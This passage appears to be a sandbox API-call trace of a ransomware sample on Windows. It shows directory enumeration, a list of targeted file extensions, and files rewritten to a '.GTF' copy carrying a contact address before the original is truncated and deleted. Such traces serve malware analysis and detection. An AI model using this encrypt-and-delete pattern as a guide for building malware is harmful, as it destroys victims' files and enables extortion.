	[0091.180] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73dce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.181] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.181] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73ed8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.181] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.181] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0091.181] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.181] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0091.181] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0091.181] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.183] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0091.183] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0091.183] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.183] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0091.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0091.464] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa742614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0091.464] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0091.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0091.467] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0091.467] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0091.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.468] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0091.468] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0091.468] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.469] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c502c94, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb8da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Sports.dll", cAlternateFileName="")) returned 1
	[0091.470] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.470] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0091.470] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.470] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0091.471] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.471] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0091.471] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0091.471] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.471] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0091.471] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.471] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0091.471] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0091.471] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0091.473] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.SCA")) returned 1

Thread:
	id = 16
	os_tid = 0x764

	[0062.053] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3231238
	[0062.054] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3241240
	[0062.054] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c560
	[0062.054] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad030
	[0062.054] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c668
	[0062.054] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x3a24020
	[0062.057] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c4d0
	[0062.057] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c4d0, Size=0x20) returned 0x75eb60
	[0062.057] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c458
	[0062.057] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c458, Size=0x20) returned 0x75eb88
	[0062.057] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0062.057] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0062.057] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff50 | out: OldValue=0x351ff50*=0x0) returned 1
	[0062.057] lstrlenW (lpString="kernel32.dll") returned 12
	[0062.057] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb60 | out: hHeap=0x720000) returned 1
	[0062.057] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0062.057] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb88 | out: hHeap=0x720000) returned 1
	[0062.058] Sleep (dwMilliseconds=0x64) 
	[0062.407] lstrcmpiW (lpString1=".cmd", lpString2=".GTF") returned -1
	[0062.408] lstrlenW (lpString="SetupComplete.cmd") returned 17
	[0062.408] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0064.464] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=307) returned 1
	[0064.464] CloseHandle (hObject=0x30c) returned 1
	[0064.464] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0064.464] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.464] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0064.464] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.464] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.464] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0064.464] GetLastError () returned 0x0
	[0064.464] ReadFile (in: hFile=0x30c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x133, lpOverlapped=0x0) returned 1
	[0064.477] WriteFile (in: hFile=0x300, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x140, lpOverlapped=0x0) returned 1
	[0064.477] ReadFile (in: hFile=0x30c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.478] WriteFile (in: hFile=0x300, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0065.103] SetEndOfFile (hFile=0x300) returned 1
	[0065.103] CloseHandle (hObject=0x300) returned 1
	[0065.105] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.105] SetEndOfFile (hFile=0x30c) returned 1
	[0065.106] CloseHandle (hObject=0x30c) returned 1
	[0065.106] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0065.106] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1
	[0065.106] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.106] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.106] lstrlenW (lpString=".doc") returned 4
	[0065.106] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0065.106] lstrlenW (lpString=".docx") returned 5
	[0065.106] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0065.106] lstrlenW (lpString=".pdf") returned 4
	[0065.106] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0065.106] lstrlenW (lpString=".xls") returned 4
	[0065.106] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0065.106] lstrlenW (lpString=".xlsx") returned 5
	[0065.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0065.106] lstrlenW (lpString=".ppt") returned 4
	[0065.107] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".zip") returned 4
	[0065.107] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString=".rar") returned 4
	[0065.107] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString=".bz2") returned 4
	[0065.107] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0065.107] lstrlenW (lpString=".7z") returned 3
	[0065.107] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".dbf") returned 4
	[0065.107] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".1cd") returned 4
	[0065.107] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".jpg") returned 4
	[0065.107] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".doc") returned 4
	[0065.107] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString=".docx") returned 5
	[0065.107] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0065.107] lstrlenW (lpString=".pdf") returned 4
	[0065.107] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString=".xls") returned 4
	[0065.107] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString=".xlsx") returned 5
	[0065.107] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0065.107] lstrlenW (lpString=".ppt") returned 4
	[0065.107] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0065.107] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.107] lstrlenW (lpString=".zip") returned 4
	[0065.107] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0065.108] lstrlenW (lpString=".rar") returned 4
	[0065.108] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0065.108] lstrlenW (lpString=".bz2") returned 4
	[0065.108] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0065.108] lstrlenW (lpString=".7z") returned 3
	[0065.108] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0065.108] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.108] lstrlenW (lpString=".dbf") returned 4
	[0065.108] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0065.108] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.108] lstrlenW (lpString=".1cd") returned 4
	[0065.108] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0065.108] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0065.108] lstrlenW (lpString=".jpg") returned 4
	[0065.108] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0065.108] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0065.108] lstrlenW (lpString="SetupResources.dll") returned 18
	[0065.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.159] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18776) returned 1
	[0065.159] CloseHandle (hObject=0x314) returned 1
	[0065.159] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80
	[0065.159] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.160] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.160] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0065.184] GetLastError () returned 0x0
	[0065.184] ReadFile (in: hFile=0x314, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0065.206] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0065.214] ReadFile (in: hFile=0x314, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.214] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0065.214] SetEndOfFile (hFile=0x2b8) returned 1
	[0065.214] CloseHandle (hObject=0x2b8) returned 1
	[0065.216] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.216] SetEndOfFile (hFile=0x314) returned 1
	[0065.217] CloseHandle (hObject=0x314) returned 1
